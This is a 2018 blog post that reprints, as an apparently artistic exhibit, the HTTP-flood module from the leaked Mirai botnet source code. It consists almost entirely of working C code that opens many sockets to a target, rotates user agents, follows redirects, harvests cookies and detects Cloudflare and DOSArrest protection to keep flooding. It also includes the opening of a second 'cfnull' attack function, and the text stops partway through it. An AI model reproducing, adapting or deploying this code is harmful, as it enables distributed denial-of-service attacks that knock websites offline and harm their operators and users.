Wednesday, March 14, 2018

Kanz Eku, attack_app.doc, From Leaked Mirai Botnet Code


Mirai Botnet, attack_app.doc, image by Daniel Y. Harris




attack_app.doc
Kanz Eku
From Leaked Mirai Botnet Code



#define _GNU_SOURCE

#ifdef DEBUG
#include <stdio.h>
#endif
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>

#include "includes.h"
#include "attack.h"
#include "rand.h"
#include "table.h"
#include "util.h"

void attack_app_proxy(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{

}


void attack_app_http(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
    int i, ii, rfd, ret = 0;
    struct attack_http_state *http_table = NULL;
    char *postdata = attack_get_opt_str(opts_len, opts, ATK_OPT_POST_DATA, NULL);
    char *method = attack_get_opt_str(opts_len, opts, ATK_OPT_METHOD, "GET");
    char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL);
    char *path = attack_get_opt_str(opts_len, opts, ATK_OPT_PATH, "/");
    int sockets = attack_get_opt_int(opts_len, opts, ATK_OPT_CONNS, 1);
    port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 80);

    char generic_memes[10241] = {0};

    if (domain == NULL || path == NULL)
        return;

    if (util_strlen(path) > HTTP_PATH_MAX - 1)
        return;

    if (util_strlen(domain) > HTTP_DOMAIN_MAX - 1)
        return;

    if (util_strlen(method) > 9)
        return;

    // BUT BRAH WHAT IF METHOD IS THE DEFAULT VALUE WONT IT SEGFAULT CAUSE READ ONLY STRING?
    // yes it would segfault but we only update the values if they are not already uppercase.
    // if the method is lowercase and its passed from the CNC we can update that memory no problem
    for (ii = 0; ii < util_strlen(method); ii++)
        if (method[ii] >= 'a' && method[ii] <= 'z')
            method[ii] -= 32;

    if (sockets > HTTP_CONNECTION_MAX)
        sockets = HTTP_CONNECTION_MAX;

    // unlock frequently used strings
    table_unlock_val(TABLE_ATK_SET_COOKIE);
    table_unlock_val(TABLE_ATK_REFRESH_HDR);
    table_unlock_val(TABLE_ATK_LOCATION_HDR);
    table_unlock_val(TABLE_ATK_SET_COOKIE_HDR);
    table_unlock_val(TABLE_ATK_CONTENT_LENGTH_HDR);
    table_unlock_val(TABLE_ATK_TRANSFER_ENCODING_HDR);
    table_unlock_val(TABLE_ATK_CHUNKED);
    table_unlock_val(TABLE_ATK_KEEP_ALIVE_HDR);
    table_unlock_val(TABLE_ATK_CONNECTION_HDR);
    table_unlock_val(TABLE_ATK_DOSARREST);
    table_unlock_val(TABLE_ATK_CLOUDFLARE_NGINX);

    http_table = calloc(sockets, sizeof(struct attack_http_state));

    for (i = 0; i < sockets; i++)
    {
        http_table[i].state = HTTP_CONN_INIT;
        http_table[i].fd = -1;
        http_table[i].dst_addr = targs[i % targs_len].addr;

        util_strcpy(http_table[i].path, path);

        if (http_table[i].path[0] != '/')
        {
            memmove(http_table[i].path + 1, http_table[i].path, util_strlen(http_table[i].path));
            http_table[i].path[0] = '/';
        }

        util_strcpy(http_table[i].orig_method, method);
        util_strcpy(http_table[i].method, method);

        util_strcpy(http_table[i].domain, domain);

        if (targs[i % targs_len].netmask < 32)
            http_table[i].dst_addr = htonl(ntohl(targs[i % targs_len].addr) + (((uint32_t)rand_next()) >> targs[i % targs_len].netmask));

        switch(rand_next() % 5)
        {
            case 0:
                table_unlock_val(TABLE_HTTP_ONE);
                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_ONE, NULL));
                table_lock_val(TABLE_HTTP_ONE);
                break;
            case 1:
                table_unlock_val(TABLE_HTTP_TWO);
                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_TWO, NULL));
                table_lock_val(TABLE_HTTP_TWO);
                break;
            case 2:
                table_unlock_val(TABLE_HTTP_THREE);
                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_THREE, NULL));
                table_lock_val(TABLE_HTTP_THREE);
                break;
            case 3:
                table_unlock_val(TABLE_HTTP_FOUR);
                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FOUR, NULL));
                table_lock_val(TABLE_HTTP_FOUR);
                break;
            case 4:
                table_unlock_val(TABLE_HTTP_FIVE);
                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FIVE, NULL));
                table_lock_val(TABLE_HTTP_FIVE);
                break;
        }

        util_strcpy(http_table[i].path, path);
    }

    while(TRUE)
    {
        fd_set fdset_rd, fdset_wr;
        int mfd = 0, nfds;
        struct timeval tim;
        struct attack_http_state *conn;
        uint32_t fake_time = time(NULL);

        FD_ZERO(&fdset_rd);
        FD_ZERO(&fdset_wr);

        for (i = 0; i < sockets; i++)
        {
            conn = &(http_table[i]);

            if (conn->state == HTTP_CONN_RESTART)
            {
                if (conn->keepalive)
                    conn->state = HTTP_CONN_SEND;
                else
                    conn->state = HTTP_CONN_INIT;
            }

            if (conn->state == HTTP_CONN_INIT)
            {
                struct sockaddr_in addr = {0};

                if (conn->fd != -1)
                    close(conn->fd);
                if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
                    continue;

                fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));

                ii = 65535;
                setsockopt(conn->fd, 0, SO_RCVBUF, &ii ,sizeof(int));

                addr.sin_family = AF_INET;
                addr.sin_addr.s_addr = conn->dst_addr;
                addr.sin_port = htons(dport);

                conn->last_recv = fake_time;
                conn->state = HTTP_CONN_CONNECTING;
                connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
#ifdef DEBUG
                printf("[http flood] fd%d started connect\n", conn->fd);
#endif

                FD_SET(conn->fd, &fdset_wr);
                if (conn->fd > mfd)
                    mfd = conn->fd + 1;
            }
            else if (conn->state == HTTP_CONN_CONNECTING)
            {
                if (fake_time - conn->last_recv > 30)
                {
                    conn->state = HTTP_CONN_INIT;
                    close(conn->fd);
                    conn->fd = -1;
                    continue;
                }

                FD_SET(conn->fd, &fdset_wr);
                if (conn->fd > mfd)
                    mfd = conn->fd + 1;
            }
            else if (conn->state == HTTP_CONN_SEND)
            {
                conn->content_length = -1;
                conn->protection_type = 0;
                util_zero(conn->rdbuf, HTTP_RDBUF_SIZE);
                conn->rdbuf_pos = 0;

#ifdef DEBUG
                //printf("[http flood] Sending http request\n");
#endif

                char buf[10240];
                util_zero(buf, 10240);

                util_strcpy(buf + util_strlen(buf), conn->method);
                util_strcpy(buf + util_strlen(buf), " ");
                util_strcpy(buf + util_strlen(buf), conn->path);
                util_strcpy(buf + util_strlen(buf), " HTTP/1.1\r\nUser-Agent: ");
                util_strcpy(buf + util_strlen(buf), conn->user_agent);
                util_strcpy(buf + util_strlen(buf), "\r\nHost: ");
                util_strcpy(buf + util_strlen(buf), conn->domain);
                util_strcpy(buf + util_strlen(buf), "\r\n");

                table_unlock_val(TABLE_ATK_KEEP_ALIVE);
                util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_KEEP_ALIVE, NULL));
                table_lock_val(TABLE_ATK_KEEP_ALIVE);
                util_strcpy(buf + util_strlen(buf), "\r\n");

                table_unlock_val(TABLE_ATK_ACCEPT);
                util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT, NULL));
                table_lock_val(TABLE_ATK_ACCEPT);
                util_strcpy(buf + util_strlen(buf), "\r\n");

                table_unlock_val(TABLE_ATK_ACCEPT_LNG);
                util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT_LNG, NULL));
                table_lock_val(TABLE_ATK_ACCEPT_LNG);
                util_strcpy(buf + util_strlen(buf), "\r\n");

                if (postdata != NULL)
                {
                    table_unlock_val(TABLE_ATK_CONTENT_TYPE);
                    util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_TYPE, NULL));
                    table_lock_val(TABLE_ATK_CONTENT_TYPE);

                    util_strcpy(buf + util_strlen(buf), "\r\n");
                    util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL));
                    util_strcpy(buf + util_strlen(buf), " ");
                    util_itoa(util_strlen(postdata), 10, buf + util_strlen(buf));
                    util_strcpy(buf + util_strlen(buf), "\r\n");
                }

                if (conn->num_cookies > 0)
                {
                    util_strcpy(buf + util_strlen(buf), "Cookie: ");
                    for (ii = 0; ii < conn->num_cookies; ii++)
                    {
                        util_strcpy(buf + util_strlen(buf), conn->cookies[ii]);
                        util_strcpy(buf + util_strlen(buf), "; ");
                    }
                    util_strcpy(buf + util_strlen(buf), "\r\n");
                }

                util_strcpy(buf + util_strlen(buf), "\r\n");

                if (postdata != NULL)
                    util_strcpy(buf + util_strlen(buf), postdata);

                if (!util_strcmp(conn->method, conn->orig_method))
                    util_strcpy(conn->method, conn->orig_method);

#ifdef DEBUG
                if (sockets == 1)
                {
                    printf("sending buf: \"%s\"\n", buf);
                }
#endif

                send(conn->fd, buf, util_strlen(buf), MSG_NOSIGNAL);
                conn->last_send = fake_time;

                conn->state = HTTP_CONN_RECV_HEADER;
                FD_SET(conn->fd, &fdset_rd);
                if (conn->fd > mfd)
                    mfd = conn->fd + 1;
            }
            else if (conn->state == HTTP_CONN_RECV_HEADER)
            {
                FD_SET(conn->fd, &fdset_rd);
                if (conn->fd > mfd)
                    mfd = conn->fd + 1;
            }
            else if (conn->state == HTTP_CONN_RECV_BODY)
            {
                FD_SET(conn->fd, &fdset_rd);
                if (conn->fd > mfd)
                    mfd = conn->fd + 1;
            }
            else if (conn->state == HTTP_CONN_QUEUE_RESTART)
            {
                FD_SET(conn->fd, &fdset_rd);
                if (conn->fd > mfd)
                    mfd = conn->fd + 1;
            }
            else if (conn->state == HTTP_CONN_CLOSED)
            {
                conn->state = HTTP_CONN_INIT;
                close(conn->fd);
                conn->fd = -1;
            }
            else
            {
                // NEW STATE WHO DIS
                conn->state = HTTP_CONN_INIT;
                close(conn->fd);
                conn->fd = -1;
            }
        }

        if (mfd == 0)
            continue;

        tim.tv_usec = 0;
        tim.tv_sec = 1;
        nfds = select(mfd, &fdset_rd, &fdset_wr, NULL, &tim);
        fake_time = time(NULL);

        if (nfds < 1)
            continue;

        for (i = 0; i < sockets; i++)
        {
            conn = &(http_table[i]);

            if (conn->fd == -1)
                continue;

            if (FD_ISSET(conn->fd, &fdset_wr))
            {
                int err = 0;
                socklen_t err_len = sizeof (err);

                ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
                if (err == 0 && ret == 0)
                {
#ifdef DEBUG
                    printf("[http flood] FD%d connected.\n", conn->fd);
#endif
                        conn->state = HTTP_CONN_SEND;
                }
                else
                {
#ifdef DEBUG
                    printf("[http flood] FD%d error while connecting = %d\n", conn->fd, err);
#endif
                    close(conn->fd);
                    conn->fd = -1;
                    conn->state = HTTP_CONN_INIT;
                    continue;
                }
            }

        if (FD_ISSET(conn->fd, &fdset_rd))
            {
                if (conn->state == HTTP_CONN_RECV_HEADER)
                {
                    int processed = 0;

                    util_zero(generic_memes, 10240);
                    if ((ret = recv(conn->fd, generic_memes, 10240, MSG_NOSIGNAL | MSG_PEEK)) < 1)
                    {
                        close(conn->fd);
                        conn->fd = -1;
                        conn->state = HTTP_CONN_INIT;
                        continue;
                    }


                    // we want to process a full http header (^:
                    if (util_memsearch(generic_memes, ret, "\r\n\r\n", 4) == -1 && ret < 10240)
                        continue;

                    generic_memes[util_memsearch(generic_memes, ret, "\r\n\r\n", 4)] = 0;

#ifdef DEBUG
                    if (sockets == 1)
                        printf("[http flood] headers: \"%s\"\n", generic_memes);
#endif

                    if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CLOUDFLARE_NGINX, NULL)) != -1)
                        conn->protection_type = HTTP_PROT_CLOUDFLARE;

                    if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_DOSARREST, NULL)) != -1)
                        conn->protection_type = HTTP_PROT_DOSARREST;

                    conn->keepalive = 0;
                    if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONNECTION_HDR, NULL)) != -1)
                    {
                        int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONNECTION_HDR, NULL));
                        if (generic_memes[offset] == ' ')
                            offset++;

                        int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
                        if (nl_off != -1)
                        {
                            char *con_ptr = &(generic_memes[offset]);

                            if (nl_off >= 2)
                                nl_off -= 2;
                            generic_memes[offset + nl_off] = 0;

                            if (util_stristr(con_ptr, util_strlen(con_ptr), table_retrieve_val(TABLE_ATK_KEEP_ALIVE_HDR, NULL)))
                                conn->keepalive = 1;
                        }
                    }

                    conn->chunked = 0;
                    if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL)) != -1)
                    {
                        int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL));
                        if (generic_memes[offset] == ' ')
                            offset++;

                        int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
                        if (nl_off != -1)
                        {
                            char *con_ptr = &(generic_memes[offset]);

                            if (nl_off >= 2)
                                nl_off -= 2;
                            generic_memes[offset + nl_off] = 0;

                            if (util_stristr(con_ptr, util_strlen(con_ptr), table_retrieve_val(TABLE_ATK_CHUNKED, NULL)))
                                conn->chunked = 1;
                        }
                    }

                    if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL)) != -1)
                    {
                        int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL));
                        if (generic_memes[offset] == ' ')
                            offset++;

                        int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
                        if (nl_off != -1)
                        {
                            char *len_ptr = &(generic_memes[offset]);

                            if (nl_off >= 2)
                                nl_off -= 2;
                            generic_memes[offset + nl_off] = 0;

                            conn->content_length = util_atoi(len_ptr, 10);
                        }
                    } else {
                        conn->content_length = 0;
                    }

                    processed = 0;
                    while (util_stristr(generic_memes + processed, ret, table_retrieve_val(TABLE_ATK_SET_COOKIE_HDR, NULL)) != -1 && conn->num_cookies < HTTP_COOKIE_MAX)
                    {
                        int offset = util_stristr(generic_memes + processed, ret, table_retrieve_val(TABLE_ATK_SET_COOKIE_HDR, NULL));
                        if (generic_memes[processed + offset] == ' ')
                            offset++;

                        int nl_off = util_memsearch(generic_memes + processed + offset, ret - processed - offset, "\r\n", 2);
                        if (nl_off != -1)
                        {
                            char *cookie_ptr = &(generic_memes[processed + offset]);

                            if (nl_off >= 2)
                                nl_off -= 2;

                            if (util_memsearch(generic_memes + processed + offset, ret - processed - offset, ";", 1) > 0)
                                nl_off = util_memsearch(generic_memes + processed + offset, ret - processed - offset, ";", 1) - 1;

                            generic_memes[processed + offset + nl_off] = 0;

                            for (ii = 0; ii < util_strlen(cookie_ptr); ii++)
                                if (cookie_ptr[ii] == '=')
                                    break;

                            if (cookie_ptr[ii] == '=')
                            {
                                int equal_off = ii, cookie_exists = FALSE;

                                for (ii = 0; ii < conn->num_cookies; ii++)
                                    if (util_strncmp(cookie_ptr, conn->cookies[ii], equal_off))
                                    {
                                        cookie_exists = TRUE;
                                        break;
                                    }

                                if (!cookie_exists)
                                {
                                    if (util_strlen(cookie_ptr) < HTTP_COOKIE_LEN_MAX)
                                    {
                                        util_strcpy(conn->cookies[conn->num_cookies], cookie_ptr);
                                        conn->num_cookies++;
                                    }
                                }
                            }
                        }

                        processed += offset;
                    }

                    // this will still work as previous handlers will only add in null chars or similar
                    // and we specify the size of the string to stristr
                    if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_LOCATION_HDR, NULL)) != -1)
                    {
                        int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_LOCATION_HDR, NULL));
                        if (generic_memes[offset] == ' ')
                            offset++;

                        int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
                        if (nl_off != -1)
                        {
                            char *loc_ptr = &(generic_memes[offset]);

                            if (nl_off >= 2)
                                nl_off -= 2;
                            generic_memes[offset + nl_off] = 0;

                            //increment it one so that it is length of the string excluding null char instead of 0-based offset
                            nl_off++;

                            if (util_memsearch(loc_ptr, nl_off, "http", 4) == 4)
                            {
                                //this is an absolute url, domain name change maybe?
                                ii = 7;
                                //http(s)
                                if (loc_ptr[4] == 's')
                                    ii++;

                                memmove(loc_ptr, loc_ptr + ii, nl_off - ii);
                                ii = 0;
                                while (loc_ptr[ii] != 0)
                                {
                                    if (loc_ptr[ii] == '/')
                                    {
                                        loc_ptr[ii] = 0;
                                        break;
                                    }
                                    ii++;
                                }

                                // domain: loc_ptr;
                                // path: &(loc_ptr[ii + 1]);

                                if (util_strlen(loc_ptr) > 0 && util_strlen(loc_ptr) < HTTP_DOMAIN_MAX)
                                    util_strcpy(conn->domain, loc_ptr);

                                if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)
                                {
                                    util_zero(conn->path + 1, HTTP_PATH_MAX - 1);
                                    if (util_strlen(&(loc_ptr[ii + 1])) > 0)
                                        util_strcpy(conn->path + 1, &(loc_ptr[ii + 1]));
                                }
                            }
                            else if (loc_ptr[0] == '/')
                            {
                                //handle relative url
                                util_zero(conn->path + 1, HTTP_PATH_MAX - 1);
                                if (util_strlen(&(loc_ptr[ii + 1])) > 0 && util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)
                                    util_strcpy(conn->path + 1, &(loc_ptr[ii + 1]));
                            }

                            conn->state = HTTP_CONN_RESTART;
                            continue;
                        }
                    }

                    if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_REFRESH_HDR, NULL)) != -1)
                    {
                        int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_REFRESH_HDR, NULL));
                        if (generic_memes[offset] == ' ')
                            offset++;

                        int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2);
                        if (nl_off != -1)
                        {
                            char *loc_ptr = &(generic_memes[offset]);

                            if (nl_off >= 2)
                                nl_off -= 2;
                            generic_memes[offset + nl_off] = 0;

                            //increment it one so that it is length of the string excluding null char instead of 0-based offset
                            nl_off++;

                            ii = 0;

                            while (loc_ptr[ii] != 0 && loc_ptr[ii] >= '0' && loc_ptr[ii] <= '9')
                                ii++;

                            if (loc_ptr[ii] != 0)
                            {
                                int wait_time = 0;
                                loc_ptr[ii] = 0;
                                ii++;

                                if (loc_ptr[ii] == ' ')
                                    ii++;

                                if (util_stristr(&(loc_ptr[ii]), util_strlen(&(loc_ptr[ii])), "url=") != -1)
                                    ii += util_stristr(&(loc_ptr[ii]), util_strlen(&(loc_ptr[ii])), "url=");

                                if (loc_ptr[ii] == '"')
                                {
                                    ii++;

                                    //yes its ugly, but i dont care
                                    if ((&(loc_ptr[ii]))[util_strlen(&(loc_ptr[ii])) - 1] == '"')
                                        (&(loc_ptr[ii]))[util_strlen(&(loc_ptr[ii])) - 1] = 0;
                                }

                                wait_time = util_atoi(loc_ptr, 10);

                                //YOLO LOL
                                while (wait_time > 0 && wait_time < 10 && fake_time + wait_time > time(NULL))
                                    sleep(1);

                                loc_ptr = &(loc_ptr[ii]);


                                if (util_stristr(loc_ptr, util_strlen(loc_ptr), "http") == 4)
                                {
                                    //this is an absolute url, domain name change maybe?
                                    ii = 7;
                                    //http(s)
                                    if (loc_ptr[4] == 's')
                                        ii++;

                                    memmove(loc_ptr, loc_ptr + ii, nl_off - ii);
                                    ii = 0;
                                    while (loc_ptr[ii] != 0)
                                    {
                                        if (loc_ptr[ii] == '/')
                                        {
                                            loc_ptr[ii] = 0;
                                            break;
                                        }
                                        ii++;
                                    }

                                    // domain: loc_ptr;
                                    // path: &(loc_ptr[ii + 1]);

                                    if (util_strlen(loc_ptr) > 0 && util_strlen(loc_ptr) < HTTP_DOMAIN_MAX)
                                        util_strcpy(conn->domain, loc_ptr);

                                    if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)
                                    {
                                        util_zero(conn->path + 1, HTTP_PATH_MAX - 1);
                                        if (util_strlen(&(loc_ptr[ii + 1])) > 0)
                                            util_strcpy(conn->path + 1, &(loc_ptr[ii + 1]));
                                    }
                                }
                                else if (loc_ptr[0] == '/')
                                {
                                    //handle relative url
                                    if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)
                                    {
                                        util_zero(conn->path + 1, HTTP_PATH_MAX - 1);
                                        if (util_strlen(&(loc_ptr[ii + 1])) > 0)
                                            util_strcpy(conn->path + 1, &(loc_ptr[ii + 1]));
                                    }
                                }

                                strcpy(conn->method, "GET");
                                // queue the state up for the next time
                                conn->state = HTTP_CONN_QUEUE_RESTART;
                                continue;
                            }
                        }
                    }

                    // actually pull the content from the buffer that we processed via MSG_PEEK
                    processed = util_memsearch(generic_memes, ret, "\r\n\r\n", 4);

                    if (util_strcmp(conn->method, "POST") || util_strcmp(conn->method, "GET"))
                        conn->state = HTTP_CONN_RECV_BODY;
                    else if (ret > processed)
                        conn->state = HTTP_CONN_QUEUE_RESTART;
                    else
                        conn->state = HTTP_CONN_RESTART;

                    ret = recv(conn->fd, generic_memes, processed, MSG_NOSIGNAL);
                } else if (conn->state == HTTP_CONN_RECV_BODY) {
                    while (TRUE)
                    {
                        // spooky doods changed state
                        if (conn->state != HTTP_CONN_RECV_BODY)
                        {
                            break;
                        }

                        if (conn->rdbuf_pos == HTTP_RDBUF_SIZE)
                        {
                            memmove(conn->rdbuf, conn->rdbuf + HTTP_HACK_DRAIN, HTTP_RDBUF_SIZE - HTTP_HACK_DRAIN);
                            conn->rdbuf_pos -= HTTP_HACK_DRAIN;
                        }
                        errno = 0;
                        ret = recv(conn->fd, conn->rdbuf + conn->rdbuf_pos, HTTP_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
                        if (ret == 0)
                        {
#ifdef DEBUG
                            printf("[http flood] FD%d connection gracefully closed\n", conn->fd);
#endif
                            errno = ECONNRESET;
                            ret = -1; // Fall through to closing connection below
                        }
                        if (ret == -1)
                        {
                            if (errno != EAGAIN && errno != EWOULDBLOCK)
                            {
#ifdef DEBUG
                                printf("[http flood] FD%d lost connection\n", conn->fd);
#endif
                                close(conn->fd);
                                conn->fd = -1;
                                conn->state = HTTP_CONN_INIT;
                            }
                            break;
                        }

                        conn->rdbuf_pos += ret;
                        conn->last_recv = fake_time;

                        while (TRUE)
                        {
                            int consumed = 0;

                            if (conn->content_length > 0)
                            {

                                consumed = conn->content_length > conn->rdbuf_pos ? conn->rdbuf_pos : conn->content_length;
                                conn->content_length -= consumed;

                                if (conn->protection_type == HTTP_PROT_DOSARREST)
                                {
                                    // we specifically want this to be case sensitive
                                    if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, table_retrieve_val(TABLE_ATK_SET_COOKIE, NULL), 11) != -1)
                                    {
                                        int start_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, table_retrieve_val(TABLE_ATK_SET_COOKIE, NULL), 11);
                                        int end_pos = util_memsearch(&(conn->rdbuf[start_pos]), conn->rdbuf_pos - start_pos, "'", 1);
                                        conn->rdbuf[start_pos + (end_pos - 1)] = 0;

                                        if (conn->num_cookies < HTTP_COOKIE_MAX && util_strlen(&(conn->rdbuf[start_pos])) < HTTP_COOKIE_LEN_MAX)
                                        {
                                            util_strcpy(conn->cookies[conn->num_cookies], &(conn->rdbuf[start_pos]));
                                            util_strcpy(conn->cookies[conn->num_cookies] + util_strlen(conn->cookies[conn->num_cookies]), "=");

                                            start_pos += end_pos + 3;
                                            end_pos = util_memsearch(&(conn->rdbuf[start_pos]), conn->rdbuf_pos - start_pos, "'", 1);
                                            conn->rdbuf[start_pos + (end_pos - 1)] = 0;

                                            util_strcpy(conn->cookies[conn->num_cookies] + util_strlen(conn->cookies[conn->num_cookies]), &(conn->rdbuf[start_pos]));
                                            conn->num_cookies++;
                                        }

                                        conn->content_length = -1;
                                        conn->state = HTTP_CONN_QUEUE_RESTART;
                                        break;
                                    }
                                }
                            }

                            if (conn->content_length == 0)
                            {
                                if (conn->chunked == 1)
                                {
                                    if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, "\r\n", 2) != -1)
                                    {
                                        int new_line_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "\r\n", 2);
                                        conn->rdbuf[new_line_pos - 2] = 0;
                                        if (util_memsearch(conn->rdbuf, new_line_pos, ";", 1) != -1)
                                            conn->rdbuf[util_memsearch(conn->rdbuf, new_line_pos, ";", 1)] = 0;

                                        int chunklen = util_atoi(conn->rdbuf, 16);

                                        if (chunklen == 0)
                                        {
                                            conn->state = HTTP_CONN_RESTART;
                                            break;
                                        }

                                        conn->content_length = chunklen + 2;
                                        consumed = new_line_pos;
                                    }
                                } else {
                                    // get rid of any extra in the buf before we move on...
                                    conn->content_length = conn->rdbuf_pos - consumed;
                                    if (conn->content_length == 0)
                                    {
                                        conn->state = HTTP_CONN_RESTART;
                                        break;
                                    }
                                }
                            }

                            if (consumed == 0)
                                break;
                            else
                            {
                                conn->rdbuf_pos -= consumed;
                                memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);
                                conn->rdbuf[conn->rdbuf_pos] = 0;

                                if (conn->rdbuf_pos == 0)
                                    break;
                            }
                        }
                    }
                } else if (conn->state == HTTP_CONN_QUEUE_RESTART) {
                    while(TRUE)
                    {
                        errno = 0;
                        ret = recv(conn->fd, generic_memes, 10240, MSG_NOSIGNAL);
                        if (ret == 0)
                        {
#ifdef DEBUG
                            printf("[http flood] HTTP_CONN_QUEUE_RESTART FD%d connection gracefully closed\n", conn->fd);
#endif
                            errno = ECONNRESET;
                            ret = -1; // Fall through to closing connection below
                        }
                        if (ret == -1)
                        {
                            if (errno != EAGAIN && errno != EWOULDBLOCK)
                            {
#ifdef DEBUG
                                printf("[http flood] HTTP_CONN_QUEUE_RESTART FD%d lost connection\n", conn->fd);
#endif
                                close(conn->fd);
                                conn->fd = -1;
                                conn->state = HTTP_CONN_INIT;
                            }
                            break;
                        }   
                    }
                    if (conn->state != HTTP_CONN_INIT)
                        conn->state = HTTP_CONN_RESTART;
                }
            }
        }

        // handle any sockets that didnt return from select here
        // also handle timeout on HTTP_CONN_QUEUE_RESTART just in case there was no other data to be read (^: (usually this will never happen)
#ifdef DEBUG
        if (sockets == 1)
        {
            printf("debug mode sleep\n");
            sleep(1);
        }
#endif
    }
}

void attack_app_cfnull(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
    int i, ii, rfd, ret = 0;
    struct attack_cfnull_state *http_table = NULL;
    char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL);
    int sockets = attack_get_opt_int(opts_len, opts, ATK_OPT_CONNS, 1);

    char generic_memes[10241] = {0};

    if (domain == NULL)
        return;

    if (util_strlen(domain) > HTTP_DOMAIN_MAX - 1)
        return;

    if (sockets > HTTP_CONNECTION_MAX)
        sockets = HTTP_CONNECTION_MAX;

    http_table = calloc(sockets, sizeof(struct attack_cfnull_state));

    for (i = 0; i < sockets; i++)
    {
        http_table[i].state = HTTP_CONN_INIT;
        http_table[i].fd = -1;
        http_table[i].dst_addr = targs[i % targs_len].addr;

        util_strcpy(http_table[i].domain, domain);

        if (targs[i % targs_len].netmask < 32)
            http_table[i].dst_addr = htonl(ntohl(targs[i % targs_len].addr) + (((uint32_t)rand_next()) >> targs[i % targs_len].netmask));

        switch(rand_next() % 5)
        {
            case 0:
                table_unlock_val(TABLE_HTTP_ONE);
                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_ONE, NULL));
                table_lock_val(TABLE_HTTP_ONE);
                break;
            case 1:
                table_unlock_val(TABLE_HTTP_TWO);
                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_TWO, NULL));
                table_lock_val(TABLE_HTTP_TWO);
                break;
            case 2:
                table_unlock_val(TABLE_HTTP_THREE);
                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_THREE, NULL));
                table_lock_val(TABLE_HTTP_THREE);
                break;
            case 3:
                table_unlock_val(TABLE_HTTP_FOUR);
                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FOUR, NULL));
                table_lock_val(TABLE_HTTP_FOUR);
                break;
            case 4:
                table_unlock_val(TABLE_HTTP_FIVE);
                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FIVE, NULL));
                table_lock_val(TABLE_HTTP_FIVE);
                break;
        }
    }

    while(TRUE)
    {
        fd_set fdset_rd, fdset_wr;
        int mfd = 0, nfds;
        struct timeval tim;
        struct attack_cfnull_state *conn;
        uint32_t fake_time = time(NULL);

        FD_ZERO(&fdset_rd);
        FD_ZERO(&fdset_wr);

        for (i = 0; i < sockets; i++)
        {
            conn = &(http_table[i]);

            if (conn->state == HTTP_CONN_RESTART)
            {
                conn->state = HTTP_CONN_INIT;
            }

            if (conn->state == HTTP_CONN_INIT)
            {
                struct sockaddr_in addr = {0};

                if (conn->fd != -1)
                    close(conn->fd);
                if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
                    continue;

                fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));

                ii = 65535;
                setsockopt(conn->fd, 0, SO_RCVBUF, &ii ,sizeof(int));

                addr.sin_family = AF_INET;
                addr.sin_addr.s_addr = conn->dst_addr;
